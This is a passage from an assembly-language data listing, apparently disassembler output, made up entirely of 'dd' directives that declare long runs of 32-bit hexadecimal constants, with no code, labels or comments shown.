0C7532893h, 0E02ACC61h, 1FA80838h, 0CAB3AD00h dd 2821021Ah, 10A41716h, 925C013Fh, 61E454DEh, 0B24C63F8h dd 0C79E308Ah, 2E091B78h, 87FC0766h, 909A9938h, 0F750381h dd 149F26EBh, 432349D9h, 0AF559A00h, 54017917h, 65F7981Fh dd 643DEC24h, 403D6012h, 0F6819A28h, 0A500ADC7h, 0D165D7DBh dd 5FE2E4Fh, 898EC6E3h, 0CE0C2D0h, 5E1BB520h, 9128B435h dd 0C3DE807Fh, 8CFDF845h, 13E6F44h, 0B6A0C3E6h, 9C3B926Bh dd 67D13740h, 218A7613h, 5081D5B4h, 21CB5584h, 0F40B100h dd 59C64B64h, 0C07CABh, 0C9787261h, 9F2B5CC4h, 0B9125875h dd 30C18B86h, 0E5E38CFAh, 5970081Ah, 18257964h, 35902A6h dd 2346A0D4h, 0FDEA5863h, 0D80B8B01h, 3A4AAC38h, 1272320h dd 67D1699Dh, 0DF806FD4h, 128B081Bh, 5326A063h, 952890ECh dd 7203352Fh, 859E2A92h, 4FB990F7h, 0B70D0BE3h, 0C810886h dd 2CA594F8h, 0C4984DDCh, 7488880Eh, 37E2FE19h, 0C4D0E46Bh dd 1E2E00FCh, 9EACE3B6h, 66FA407Ch, 0DC261B8Ah, 7A42D82Ah dd 6BB501FBh, 11618180h, 5F37B182h, 8C022038h, 5DFD9E7Eh dd 8AD120D3h, 0EECDFDFCh, 9B18029Fh, 41C69465h, 6952F8E1h dd 0E447A1Ch, 88631AE3h, 0AC529037h, 80681245h, 0C8C6DBCh dd 34610154h, 2B007861h, 0DCF46BE5h, 14C2606h, 7705F7F8h dd 2D6F7337h, 0B86300F4h, 8C4EA9AFh, 0E7390B90h, 0A00E2914h dd 0BE0555A8h, 44A4C598h, 51532DB9h, 4F22EC24h, 6F5F852Ah dd 8BCC98D2h, 0E434450Ch, 0DCB7601Dh, 8ED50538h, 86296E3Ah dd 90021F0h, 0E499E8D7h, 15812F9Bh, 0C4F5B40Eh, 88503715h dd 95C1E000h, 4EED9211h, 0EBB9181Ch, 19C037C0h, 0B6AEE593h dd 139640DCh, 7B001A7Fh, 0CC5F8471h, 1EBA02EBh, 1D8D568Ch dd 0D3224005h, 35E00BC7h, 0BE2ED8A0h, 80184B3Ch, 0A11A6717h dd 0D3F2890Eh, 8880CE50h, 63A5C78Bh, 0C1C478C4h, 0F93CE37Ch dd 0C84C72B6h, 90D59719h, 3061EE0h, 0EC51C300h, 83FE10CDh dd 3E79EBh, 0FFC01D56h, 1C898CD3h, 16047092h, 0DAE050CCh dd 231DB0C2h, 51009DD4h, 0E1244C76h, 5C8CC4DAh, 0D32AAC7Ah dd 0D11C91E8h, 7E701824h, 0F8BF0466h, 818CF5BCh, 621037F8h dd 0EB1F2484h, 0E877D501h, 0DC326BC7h, 4D8CF806h, 0C08130F4h dd 99198C66h, 0BF611Ah, 0C381415Fh, 34DCAA2Eh, 4E302307h dd 62FEF071h, 847A7372h, 7E40029Ch, 0CC942B44h, 0B0B6FCF4h dd 0A47F8143h, 0E32A6C8Ah, 2D846E8h, 167A4A28h, 60D47135h dd 524A105Eh, 4018F832h, 0C5DCE1BFh, 4AC486D0h, 102044EBh dd 0A430417Fh, 7442974Dh, 0E6C6206Eh, 4F50D81Fh, 0F7881458h dd 0E9CA148Dh, 5A2198BDh, 82319C04h, 0C03B501h, 10DC2934h dd 0D848FC8Dh, 3C918022h, 44984420h, 4C8D852Ch, 993D5C2h dd 8E1D08Ch, 3D48EC12h, 0C703544Fh, 0DA55C0C4h, 0E1949845h dd 72D5420h, 0E050C0B0h, 4987248h, 0C88B38B8h, 17FBD811h dd 4CD881Eh, 0C21FE9B0h, 482CAA24h, 0B6982837h, 3644A90h dd 0FD821F24h, 0EF83C4F3h, 268A803Bh, 0A008B425h, 4034299Bh dd 7EFBFAC2h, 568F8E13h, 8623F83Eh, 0FB1A2407h, 0E2DC9080h dd 0F43D28BCh, 940206ECh, 0D00839FDh, 378B49Bh, 0EFC8049Bh dd 0E43EF8F4h, 5D2E9948h, 4676D0D2h, 948A018Ch, 13885128h dd 0C2436D1h, 68E0F959h, 4F70960Fh, 8D092A60h, 0A41820CDh dd 8428BCEDh, 0D4F20549h, 4075371Ch, 22029DA8h, 9AA062BAh dd 0B4011EFEh, 0A45829E7h, 1C208EC5h, 0A1080165h, 346A13E9h dd 99689417h, 9E4680F8h, 488075C7h, 922046Bh, 102DDF02h dd 8FEB4CC4h, 965985ECh, 0B8A5B406h, 0AB0C0658h, 6073D968h dd 9DE4B117h, 29B8FC21h, 0E89CD182h, 0AC408532h, 0D15C2AC1h dd 11447A34h, 4F3F1405h, 33F12012h, 0A42C19C4h, 128C3EBCh dd 47360A6h, 0F95E9A8h, 0A8D1D237h, 0F9801998h, 32EC7972h dd 730030F7h, 0E2FCA931h, 7526CB86h, 0D48415AEh, 7D00EC94h dd 52B7DE3Eh, 4500BCF7h, 24D7F83h, 4864CCF6h, 0DE001C25h dd 802FD08Bh, 0DCB2DF99h, 3E19461Dh, 0F6824830h, 4970E8AAh dd 0D50B902Bh, 0CC17B20h, 5CB2046Eh, 2E308CF2h, 791924EDh dd 0D980938h, 936C3898h, 0B889802Eh, 64FE9442h, 0D6B00018h dd 54E7599Dh, 0E4D6024h, 36B41038h, 26B2884Ch, 68780229h dd 96C80008h, 0D5991CCh, 0F4829F7Ch, 4D934D8h, 0DA8B4435h dd 7C0E14A3h, 37ADC490h, 520C7728h, 3086E2BCh, 0CC00900Bh dd 0FA1ABE70h, 0B18715A4h, 8C824968h, 400A8555h, 5CC85A12h dd 0D2048C73h, 0DDF879C3h, 22206B62h, 7946C3DAh, 0B6D00529h dd 0E4AA65B0h, 674CF984h, 9CA7263Eh, 0FCDDF601h, 4006E2A4h dd 9AD85893h, 58695CA2h, 225E0E39h, 0D881890Ch, 87C5DE9h dd 0A49D8ABAh, 46802511h, 774BB2A6h, 0D76FA81Ch, 54BFB904h dd 44C10A9h, 0C7B0914Ah, 0BC32107Ah, 0B0FF54C1h, 1CA41063h dd 9A0801DAh, 482BE12Ch, 60C65C28h, 0C10E7933h, 602B15B5h dd 0D235B3CFh, 20B757Fh, 0B6624480h, 0B0C11A77h, 124C2DE3h dd 1C09B708h, 0F10C59E9h, 780A1887h, 50EC044Eh, 9728C49Eh dd 25A05348h, 62E888D9h, 0D84D2AB8h, 461CB697h, 0F8910012h dd 0DB9BE281h, 0F9FEF919h, 0C0E91FFCh, 0C65E4BC7h, 0F50F02A0h dd 54E12B90h, 7D0912E0h, 363CA404h, 20DD300h, 0A8A20E8Ch dd 204424F1h, 0F313B022h, 1982ECh, 6983A180h, 9522E0A4h dd 93B110E8h, 41361651h, 72DBB490h, 0E8290447h, 842B1BB1h dd 0C014AC94h, 93BB8877h, 8CAA0EF5h, 0BFE018D4h, 37D80E29h dd 0B92A1104h, 54B454EFh, 30C08A36h, 0DF4922CDh, 259886CCh dd 0F28E0E59h, 7F07130Eh, 46A02E51h, 9E2970E3h, 4C754302h dd 612B936Eh, 8811E96Ch, 552AC4h, 0AF088408h, 5EB9B0C3h dd 0C4E00B11h, 0D8CEE492h, 0BF2CCFE8h, 9800D5D1h, 8625DEE3h dd 0DA851AF7h, 0FC5E5888h, 4ECE083h, 0BE711316h, 1EE04007h dd 0B2775396h, 8982F107h dd 47C958CBh, 6087446Ch, 0ECC6E68h, 0FD95C5DFh, 0B78AF014h dd 0C6940124h, 0CEC2AA7Fh, 8AD98859h, 0AD09AA18h, 406D9C58h dd 0F06BB140h, 1DA49C36h, 2C7E6280h, 16B878B1h, 0B4824F89h dd 8AEC60BEh, 30E0B0C1h, 9F911F37h, 0D526C4F8h, 0C089C492h dd 92475878h, 0FC0B1110h, 23544928h, 0A246012Fh, 0EACB5DFh dd 0A24D4E00h, 55B40197h, 0C846B32Ch, 0CC39740Ah, 5A776342h dd 803C4B34h, 65D382E0h, 7F5C4000h, 9D8C58A9h, 1BF9C2FFh dd 210B5AFBh, 24F40BD8h, 3F8D5041h, 4877E5F0h, 81121C41h dd 12E09296h, 0A2795C90h, 44B5D217h, 430118CBh, 2A4AA240h dd 7117D990h, 1194021Ch, 0ACB4C058h, 0F250477Ch, 96BF1750h dd 3C88A4AEh, 4CA70D46h, 3088FE8Ah, 884065B8h, 0C4E0137Ch dd 825C4078h, 50FBB0E4h, 0EC1B8A0Dh, 98C3D81Eh, 9FF803B1h dd 0AFA1400h, 0CAE891B5h, 22167C0Ch, 217420D9h, 2A80C12Eh dd 12E1CF88h, 9E1406F4h, 683F08CCh, 5B24B9E8h, 6DA5B840h dd 0DCF6E070h, 8B1D652Bh, 7D7BD219h, 8FDC3754h, 3875BF18h dd 1C520E8h, 6892BEFCh, 20F8E4D3h, 7A809524h, 61789C94h dd 47527B1h, 0ABBFBC87h, 4428E722h, 0E7676012h, 0AFC148B7h dd 1F73D700h, 11A743B0h, 6EF2AC98h, 0BF2AE712h, 0B072580Bh dd 11C3D368h, 88E5F87Ah, 0DB23816Ch, 70578DC3h, 9D17E4h dd 0D8112684h, 176C982Eh, 44464544h, 0C8994C94h, 2B0022D8h dd 0A7D61F23h, 9C80BCh, 14208959h, 946CB20Bh, 3E84F400h dd 0FB7967D3h, 9F2B0B78h, 48698C60h, 2E69E154h, 0B823D43Bh dd 80CBBA39h, 7ED706Dh, 164D9229h, 9DA8212h, 0D4AAE8E0h dd 509B0870h, 5CF49E03h, 0BE0FE43Eh, 3B93404Fh, 28D23A0h dd 0E94160CBh, 80597C62h, 0C582E681h, 24690A61h, 103B826h dd 382A8736h, 43486076h, 10BE652Fh, 1E9A9EE0h, 185135h dd 6A152F2h, 0E50063C9h, 0F905CE80h, 16FABEDBh, 0A2247B41h dd 62823E00h, 213F90F0h, 37A8BA1h, 0D6900BBFh, 0E82A866Eh dd 0E9BC62BCh, 50E488F0h, 749B694Ah, 686A8E80h, 9C124D63h dd 7412DC2Ah, 7853B857h, 6FE07CA6h, 0BA61D4B6h, 2D12AAC0h dd 383547Ch, 0D19838CBh, 5F0E0115h, 847471h, 54B7A114h dd 0E474BC80h, 98145655h, 0FBB9C7D0h, 0F5E20BD8h, 1A203CE4h dd 46F09091h, 0A243022Ch, 31B4B5DCh, 4A49103Ah, 0E12D03A2h dd 297612C9h, 5590C194h, 82E01FEh, 0EF819120h, 5222BC72h dd 131CC0Ah, 0E2045407h, 0D0C80D86h, 0FC7B443Bh, 79E83218h dd 807E6BC1h, 0B4A19124h, 867184Ch, 408026D0h, 67FD670h dd 940530D0h, 0D92CA817h, 0F7418892h, 94797B1Fh, 0ECB955BCh dd 0BC93F680h, 68C5CCh, 0E304D565h, 66CBC6FAh, 4B19B700h dd 0E9A2A8D4h, 74ACF22Eh, 82640C2Dh, 0ED82274h, 8C978B29h dd 7C70FC14h, 0DC0B2FE7h, 9120972Bh, 0CBD58021h, 120B98h dd 9EB220C2h, 7ECE941Ch, 500A0213h, 3E2EF4E1h, 7ADE11FCh dd 7A42DEF8h, 88988EE4h, 804DC082h, 19003F94h, 87C2A99Bh dd 4F817693h, 6488D008h, 0B5178991h, 80497863h, 40404898h dd 0D85B0718h, 25B881F6h, 1F00C099h, 1102F782h, 1A347E89h dd 11B0F92Eh, 0C3D1807Ch, 8CD5F878h, 216A44h, 4BD4C3D9h dd 0C7B2DAA9h, 28531A26h, 0D026CC0Fh, 0E31088D4h, 6B361364h dd 506328F1h, 7EDC2E01h, 0F82D75ABh, 0D52DE8A8h, 0E0AC905Eh dd 213A8111h, 10647074h, 3718897Eh, 0C669301Ah, 0F7480178h dd 9E246046h, 183A2B61h, 31003F23h, 0C7AE24CAh, 0E3C4F492h dd 1D609034h, 40862F1Eh, 0D1A75F9Ah, 24902747h, 0B7087F09h dd 0C40847D0h, 5C217F5Ch, 7988597Ah, 76181Ch, 665051A8h dd 38656FFAh, 7303A5Dh, 0F4F1F20Dh, 60900F05h, 97516FB9h dd 876589Ah, 70134656h, 0ADEAFE01h, 6A332BE7h, 46EE60E5h dd 0AB352474h, 2C500B00h, 820EDC70h, 16FC17C6h, 460AC46h dd 5DD45A31h, 0A41380BCh, 0B057C1E9h, 82400F00h, 0D3540636h dd 9BD94C4Eh, 0C1A4231Ch, 9A525BABh, 0FC61F646h, 87B070BBh dd 0C7C5A00h, 0EA634266h, 0C4210AEDh, 0A03C1638h, 0DC0B2FE8h dd 0E328C001h, 0A8FC3018h, 410C8E9Fh, 2E786BC7h, 24786069h dd 8B149C0Bh, 742271E2h, 0F7000DE1h, 268FF9B0h, 18A0094Ah dd 8E57190Bh, 70C0BB4Fh, 1DB194Dh, 7EE56884h, 62797B9Eh dd 1B6B1738h, 0AAFD9841h, 8FF1E17Dh, 0C1BB8824h, 94F8C081h dd 3DD07840h, 1CAFCEh, 0BBE13E44h, 6D690274h, 1DC6BC4h dd 0A22784F2h, 8610209Ah, 7C208859h, 9D2931BFh, 0C0B77718h dd 0DD051737h, 8AD9C486h, 5E835088h, 0B6B04233h, 88A00903h dd 4D14E312h, 0D08E18C5h, 8048DA10h, 0BCA4E120h, 8C5240FEh dd 0D0980343h, 85F5B9h, 3D68E135h, 0C75389DDh, 9CFAC520h dd 79B18820h, 157C967Dh, 0D14E54E0h, 3CA4A17Ch, 62DC1330h dd 2261684Fh, 54639340h, 959C841Ch, 1BCF0284h, 13C05CC0h dd 9CB83761h, 3298B09h, 0CC893405h, 26302EF1h, 9D710BBEh dd 54D4D498h, 0B4208EF2h, 92421B2h, 48A950CCh, 0BE000863h dd 0D1DF52F5h, 121E047Dh, 69F6E408h, 8C508CC1h, 6473588Ch dd 0C3583850h, 0A4EC2491h, 160CA946h, 0C896EDACh, 45BC4E10h dd 0D067B934h, 0F4C40890h, 0C95C1150h, 4F401D65h, 8E6470C7h dd 4C242803h, 0AC08994Eh, 386E8192h, 49FBB5F5h, 0AC106C5Ch dd 0FB1C8C65h, 908EA3D7h, 392E442Ah, 0F9FC30C2h, 80CF00ECh dd 0BBF49111h, 357421E4h, 389BFD2Eh, 0A8EE1908h, 0A9DC62E4h dd 44D4D989h, 12E1D108h, 0CCE80D0Dh, 0F2E07221h, 899E3025h dd 320B8117h, 0E8942090h, 88F8BC90h, 98092D40h, 441CA9EAh dd 0D479006Ch, 766FAC70h, 0D702C86Dh, 37E801B0h, 80A09311h dd 0F813D3h, 0FFCA881Fh, 17CC3A78h, 348E42Fh, 0BD37C98Ch dd 1428BBC1h, 6100A42Dh, 0FA9CC88Ah, 66032F70h, 0DB8C8F5Ch dd 2534E7BFh, 72C084F8h, 6458C694h, 0A0927FF2h, 8DB31F03h dd 0B969853h, 5B892051h, 3508D840h, 0DC1830E2h, 7E21B5E0h dd 862506C4h, 0C1188D8Ah, 49329B0Eh, 3071DFC0h, 20F2994Ah dd 94338DDCh, 5405F54Fh, 9C52848Ah, 0F4B55006h, 7EF84318h dd 4AA1E000h, 6C8E1E2Fh, 5E10B626h, 3A058C46h, 4FCFAC5h dd 522318D0h, 0E2BBD8B4h, 31C8F7C8h, 4BAC0BE5h, 800ED67Bh dd 5F02710Fh, 58607514h, 0C490BCA3h, 0E0BD2C00h, 8C51B153h dd 0CC7C58E8h, 42829F1Fh, 0EBC7F561h, 8CF8E890h, 0A4F34924h dd 9F5C25B9h, 801391F4h, 76793782h, 0B93B028Fh, 9A66CE95h dd 673C54DAh, 577E007Dh, 2D8DF57Ch, 29B20074h, 9A97FCCBh dd 4503CF50h, 619B1E0Ch, 6CA80064h, 0D119D982h, 3FC4D71h dd 88209898h, 21604511h, 69A6D706h, 15BD1017h, 38F244A2h dd 0D860AB31h, 300F4044h, 89F9BC13h, 1D0AC81h, 76F8CAD9h dd 4CA99D80h, 1C45F0A4h, 0D308C82Eh, 9570B95Bh, 25A0B9h dd 2A18CC82h, 10C41544h, 4C8B8D94h, 6BFA102Ch, 785A8604h dd 0C8E4AD47h, 2067146Eh, 185E55E1h, 894C9E98h, 600DBA7h dd 0CD19834Ch, 6BDE9B00h, 0FB6599E7h, 4B9602D2h, 58A2C8BDh dd 88A8C480h, 0B0C2349Dh, 4083E37h, 6C4BD7Dh, 31EE052Fh dd 4615311h, 2A749F0h, 0AB5CF400h, 0FF56EE18h, 2EEF0238h dd 2DECF3B4h, 119F0C80h, 0BE0229EDh, 0FF10F4F2h, 3AB0702h dd 0DC058EAh, 0F2F829E1h, 0EF82EF8h, 0BA52E807h, 0ADC0F541h dd 7457ED1Ch, 53FB00AFh dd 58E00EFFh, 53041B7h, 57F72854h, 0EE1500B3h, 0F617B65Fh dd 1667B1ECh, 6BEEA040h, 0EF648078h, 3F08FF2Bh, 7B0059EEh dd 41920A0Ch, 0F051EC29h, 8FF9F904h, 80FAF280h, 70DB2D51h dd 29220CE8h, 0B679B557h, 71CFF278h, 18AC8DF5h, 5CE115D3h dd 0ED0708A6h, 0C003AF55h, 201DA12Dh, 806038A3h, 0F3BA7E88h dd 0B45510FAh, 41E30017h, 74895334h, 2E8C1CAh, 835575E2h dd 5CFF0138h, 224028F5h, 1AB000A0h, 414B79CEh, 0FB00EC3Ch dd 4F31031Dh, 3323EEF3h, 44E13756h, 80BCE9A1h, 16A17C78h dd 434A77EAh, 128202Dh, 0DB644D4h, 0AFF76C0h, 55F13C00h dd 78E436ABh, 1F4B1CF9h, 3E56E011h, 0BCA0D642h, 83D4230h dd 2408541Bh, 0C243058Ch, 838BD85h, 1324E0ACh, 8C048054h dd 0DA34EC25h, 80AC18E1h, 94E41F2Dh, 0B6BEB622h, 4848B148h dd 6BC710E1h, 915C4A22h, 4843144h, 0F7FD1CC1h, 58211103h dd 4CA02C02h, 0C46BF360h, 0CAEC03A1h, 9344A4E1h, 85F4A866h dd 7CBD222Eh, 9D2CE728h, 0F060B82Ch, 287DA420h, 97CC486h dd 1E740BC7h, 46886C49h, 0B7425868h, 6062385Dh, 12B5C47h dd 7DA451DCh, 0D9273217h, 6243949Ch, 43D63688h, 0C217840Eh dd 0C4EB216Ah, 0C462AEEh, 172A2010h, 6820AB98h, 97578381h dd 90B9AC90h, 94F84082h, 890E883Ah, 58218F4Fh, 88003914h dd 3494D8C2h, 14BD3612h, 0B5A4F405h, 423891E8h, 5028834Dh dd 0D01865A2h, 973C58ECh, 6ECFECA2h, 8B107919h, 26409003h dd 714A00E2h, 89806208h, 0E4891F16h, 40C32451h, 1B15CC7Ch dd 277898D3h, 6CC0FD9Ch, 2D1DD183h, 0FC8A0382h, 28BCB09Fh dd 100240A1h, 918BD1A2h, 8C0446F8h, 22614244h, 17DCA50Eh dd 306CE51Ah, 0F5452178h, 0EC58802Ch, 415A9E8Eh, 91930486h dd 640E18C8h, 190632ABh, 8A160C9Bh, 62811C84h, 10484CA1h dd 5073628Fh, 9340C95Ch, 5DDC0C83h, 0A3404CE3h, 0A502D8Ch dd 9CA11CC4h, 0CC1E3B74h, 78D80D12h, 69292CCDh, 6025D49Ch dd 2C340708h, 0E8352550h, 2410A028h, 4CD11888h, 0A3BEE01Bh dd 367D14B8h, 1038C94h, 3C88C2E8h, 863EDF48h, 0D8282D37h dd 19FD8F10h, 0C3388650h, 73218937h, 0AAB024FAh, 3E8D030Ch dd 181B7961h, 0CD390298h, 788DBCE4h, 0F0819DDEh, 86BCC44Ah dd 981D3739h, 29760051h, 514395E4h, 4AE0B0F4h, 0F5BD7D00h dd 7B91E941h, 1B341A49h, 0BFC19168h, 0B4223A9Bh, 98044FCh dd 0AA892497h, 0E02ED406h, 2979C400h, 5D9CC7D1h, 0CED5FC4Ah dd 5824019h, 1C5C88E8h, 7C07E110h, 0C0CD6094h, 0CC8A2926h dd 7AF0845Ch, 0F775FB03h, 8578B5h, 2ED26309h, 335B913h dd 0EA18905h, 4C709788h, 759F0D57h, 0A4FBFA29h, 12CA44E0h dd 0BA48D963h, 40F0F689h, 0CA884952h, 848CBE0Bh, 6ECF89h dd 0FB03691Dh, 87FC1495h, 5602E8C7h, 736D478Eh, 3D08E098h dd 3C34353Ah, 183C30E9h, 6790A480h, 81692151h, 847B3624h dd 6594BE71h, 407B40A1h, 86786434h, 0D118E815h, 0E971AA98h dd 8E65F8Ch, 1880EFE4h, 0AD1AC6C0h, 9D0812B1h, 0E880C99Fh dd 6300C88Ah, 90D0134Ah, 68896B42h, 584093h, 34407B49h dd 90A89C1Ah, 10C85B7Ah, 10A8A4h, 0E6AD0873h, 3A795A8Bh dd 6037CC11h, 789DB09h, 24DE98C1h, 79546474h, 100040BCh dd 32DF13E7h, 0CF80AA52h, 51007379h, 4AE0C1F2h, 3F7A810Ch dd 7992B046h, 0B888245Ah, 328112Ch, 65DFA209h, 9BE9A078h dd 33CE077Fh, 16606F5Eh, 9000D132h, 0C323A2E2h, 26A3BACFh dd 11F0C10Bh, 1C4A240Dh, 593DB4B9h, 0C5D8885Eh, 5A2BF11h dd 0D9F8B0F7h, 5888C215h, 0A91DD498h, 2882A890h, 0D9F660B1h dd 6421A419h, 82E35409h, 83BCF484h, 8A98B50Ch, 59D0A92Ah dd 21088534h, 72A9C031h, 0FCF8BBD6h, 8C2A2C26h, 3D161423h dd 3030380Ah, 4F4A9408h, 0A029C48Bh, 0DB00F864h, 8201CC8Bh dd 1FA9752h, 0B36730F3h, 2F764E43h, 93888h, 587FEF0Eh dd 864A5EF5h, 70113709h, 0D304247Dh, 282F68C4h, 0F70E3908h dd 0D82F0574h, 4AAE073h, 0AC30C32Ch, 3DD5820Ch, 368C111h dd 0ECA41510h, 0E43B5201h, 7501A2DFh, 867A1C22h, 4565D202h dd 0E8354B2Bh, 0A4B48188h, 207C2E98h, 44A945F0h, 210F800Ch dd 408B231h, 60991940h, 2E01890Fh, 0D80057B8h, 304CFA07h dd 98D18C3h, 0E195D019h, 0C28904E8h, 0F7296C00h, 49E0C08Bh dd 3CA05D10h, 0AAC81878h, 37D92820h, 0B4401F5Ah, 79D36FE1h dd 8D3900FAh, 0A5BFF632h, 0DF8E0E3h, 46C8B409h, 73BCFAD4h dd 4E293A8Fh, 8DD28880h, 0B41C5D36h, 87E0BE0Bh, 62696274h dd 8C60DE08h, 0B7A10199h, 0EAB62B01h, 62AF5810h, 2AC1A880h dd 0E2271C80h, 57036100h, 1FDDBA39h, 0A0D0B698h, 0BE70B4B8h dd 0D5D9BE0Bh, 481E58DAh, 0F39F633Eh, 0F8F6B241h, 6834A698h dd 84FA00EFh, 805FC4C8h, 0F7001A8Bh, 32F4BAD5h, 0A63575h dd 5A284826h, 703FF325h, 16504B1Dh, 0F529803Eh, 9C76ACBDh dd 3D850C8Ch, 0F08C494h, 553021C1h, 0A32084ADh, 287B0EB7h dd 54CFEFE4h, 68B37803h, 0F24BF0EFh, 310E2B70h, 0A10FDD96h dd 0CDA187AFh, 7D5E30h, 0B8E8D5BBh, 3F70153Dh, 50DCBC00h dd 0FD9828ACh, 0A953009Ah, 4EE4A887h, 1507ED48h, 28D4088Ch dd 19B0B450h, 8820A746h, 58C1E0BDh, 0F884A3BBh, 22FDC350h dd 0AD4A3074h, 549C6B08h, 40E0649Ah, 45AD4257h, 0ACF01804h dd 0BA6BD81Eh, 74713088h, 152900C5h, 1345116Fh, 523EDCFBh dd 0B440E870h, 3A094674h, 11D20067h, 44E5CDB1h, 0F1130314h dd 6F5801D7h, 80813FF2h, 81F051A6h, 0C2606C39h, 4FD811D9h dd 9ACA0344h, 73BD63A1h, 50152007h, 0F9E0F34Ch, 0E2F19C4Ah dd 7008DF7Ah, 0F377B221h, 467B8806h, 0F7591951h, 3688130h dd 237D373Bh, 28B3AC43h, 0CA74E875h, 0C8A1E1F8h, 17A3F36Fh dd 42C93802h, 8745B9CDh, 9A776B50h, 0EC910D90h, 7CB02815h dd 439CCDCh, 42FADBD1h, 1134DE30h, 1334F89h, 6421B174h dd 9831AABAh, 7321D808h, 68330147h, 5BBB5508h, 0F21CCA9h dd 0C0B05029h, 49807791h, 0AC9C62ADh, 41540087h, 484760ADh dd 1000187Dh, 0FE1958C3h, 0CEC6DE1Fh, 0DFA01D79h, 7A10C4FBh dd 0D86F702h, 8FE634C0h, 1A6B018Ch, 0AC40BBFAh, 0A8EC70h dd 4576CCB1h, 55576388h, 64D0F250h, 0F375048Ch, 6242F94Eh dd 7CB32009h, 0E700A1F3h, 324FEEA0h, 3B6A946h, 3F87178Ch dd 71008A19h, 0EAA0C91Ch, 16A7E53h, 67C6B3C1h, 0E40B01BBh dd 45078C23h, 0A347496Fh, 7D80A655h, 0C4483FDh, 6D182228h dd 60008649h, 0CF3EBFD6h, 662684D1h, 21B00877h, 0D6676100h dd 906EFC73h, 0DDCB04FAh, 54A675AAh, 0A41579C0h, 7C9C9C3Eh dd 0B1DE1302h, 97449ECBh, 81B51138h, 0BE2AF323h, 0C330DFE0h dd 98713359h, 0F0E06D9Ah, 0FD014283h, 0A064C6B2h, 0DEC0B885h dd 3C3828A4h, 480CA144h, 0AC08BE18h, 0C4B49C6Fh, 5633400Eh dd 90BF6CADh, 3E3200F3h, 0B1B4D7F5h, 2460D984h, 0E8730E59h dd 56D00059h, 2946A258h, 0F01C8D21h, 0D1414F0Ah, 0DADF755Ch dd 439B4440h, 4DC800EEh, 0B82449A8h, 0D03F98C1h, 0A9E982A2h dd 61E67B4Bh, 0FD0CBB34h, 27313474h, 1E524923h, 0B39F5180h dd 0D4166A37h, 0B83A7F00h, 684546EFh, 4A5C012Ah, 0DED7F0F2h dd 1531806Dh, 0BC48A935h, 8761DE86h, 2159C7FFh, 0F49E660Ah dd 0F3E8D985h, 0CCEE49h dd 715507B9h, 0F89CF1A0h, 18336116h, 246DB3EDh, 0BF7E1768h dd 1D6E93Bh, 91345446h, 5860E026h, 0ACD00981h, 0F804E6FBh dd 334A6057h, 29B12349h, 68003511h, 34953322h, 0E3009D81h dd 83F6B658h, 0FADDCAAh, 0F3D357C2h, 2AFF8583h, 7958D070h dd 0C8EA224h, 1B300180h, 59C2884h, 0EC2C4C27h, 9EB43200h dd 0AA28A212h, 6075C316h, 83E26828h, 0F9203885h, 0C483F46h dd 2CC8F50h, 5792011Dh, 6C48A419h, 0D5E4EB39h, 0D9F2E00h dd 9E8EE932h, 0D1909130h, 1B3188Eh, 512D4742h, 75268h dd 0A0B79629h, 75E5A0h, 8BA95E58h, 9C50144Ch, 123C9A3Dh dd 83092579h, 3E01278h, 0CCDF04h, 6F47C911h, 1ED105A7h dd 0D7B37400h, 0B8BC2564h, 0FDC4B263h, 87A8B340h, 9E3B0624h dd 40D9A6F8h, 843D2528h, 9C54640Eh, 28C34DEDh, 3A840832h dd 1C9493Eh, 0CAEA9D4h, 34E080C2h, 3940FA19h, 0B1801FAAh dd 0FFE71C27h, 3E02A605h, 0F34217C5h, 3B74C03Dh, 1D270191h dd 6D40BCA1h, 31BC3054h, 13D9F800h, 9E325CF9h, 5B44A1F5h dd 0BB475183h, 31384D70h, 0A0AC8C33h, 149CA078h, 0F4D8F795h dd 0E0243E3Eh, 18F420B5h, 18278B05h, 103BBEFBh, 46007C86h dd 6471C998h, 290EA91Fh, 0C947B50h, 0A8308D0Ch, 11209948h dd 0BC08D98Fh, 18319A11h, 0DE012D67h, 9E8C481Ah, 9D045498h dd 0BC6DB616h, 81AE9887h, 41ACF1A3h, 0AED0D713h, 421F30BBh dd 0B02AED38h, 0B8CD944h, 0B0B96C2Fh, 1A967890h, 805748CFh dd 5BE17D25h, 0AD9C0EE7h, 98722F9h, 15318091h, 5CECACF3h dd 0FE50E0B0h, 5233A9C8h, 0D84008BCh, 2632A369h, 9501B15h dd 94028586h, 8CC807BCh, 0CD519B98h, 1E0930BCh, 0D1A91D06h dd 0F8B5C1h, 56A49EBCh, 0CEFF98AAh, 42CD29C8h, 9A24A176h dd 12C60F21h, 578B27C9h, 0E6EE1032h, 0B1006A9Bh, 9FF50198h dd 21DDB4h, 96A7C2EDh, 17BF5D56h, 78435F00h, 0E048A4A5h dd 1D8E0046h, 654AEE4Bh, 0E3A03F10h, 80E50D36h, 2C49B53Ah dd 3D40C0F3h, 4A000929h, 644D28AAh, 2300E6E4h, 0E26B2C33h dd 0DD3127Fh, 90D0B2A3h, 46DFDC30h, 32AA5700h, 1F92C842h dd 3FEF095h, 0A762F2A3h, 1D88C0BFh, 7000C9F1h, 403A0AAFh dd 3345AC5h, 0C7EE69F9h, 0E7D07FA8h, 35005165h, 0E5ACD8FAh dd 9D2AB4h, 0B7247EC8h, 15B0F5E6h, 25DFE717h, 9D0F0385h dd 0A480D265h, 2072F3h, 0AB08547Fh, 514BB538h, 0E6993Dh dd 1C530A45h, 3644AFh, 277D81EAh, 99B68B7Ah, 3B30430Eh dd 53A5C3FDh, 7E03F055h, 82A000A4h, 4AFEA113h, 0DF3801D8h dd 2D5580E7h, 3FA92696h, 0D9C30098h, 30C42F9Dh, 9700F7CFh dd 6D684A9Ch, 9BFF88h, 93B4B8A2h, 0C3F56B1Fh, 257BD5E4h dd 0F5B6900h, 39477107h, 780400B8h, 2AEF33CEh, 0C802F880h dd 0CA69D362h, 524CC828h, 7A397B17h, 0D8E05401h, 586800C8h dd 6D8B03EBh, 1D04D3C1h, 6CE8AB2Dh, 12FB6CC0h, 0E3C0300Bh dd 5413E931h, 0CD2EC03h, 0BB78CF1Ch, 0BA21D88Bh, 0D8833005h dd 0B98AA629h, 1C131B00h, 0C1AFBE8Fh, 8F82585Eh, 391EB63Ch dd 863CC07Eh, 0D968AA5Ah, 5D239607h, 0B0F0A2F9h, 4AE704h dd 0A79B1E27h, 27207F8h, 0FB00C976h, 55AA48BAh, 321EFE9h dd 3DBDE584h, 1807A585h, 16D7F45Bh, 4CE488CCh, 6D01EDC8h dd 69E18EDBh, 7418048h, 0D4A5B198h, 0B49D00DCh, 1CE88187h dd 0D3022F76h, 8CF4158Bh, 0CEE4C816h, 268D016Bh, 0E7B28295h dd 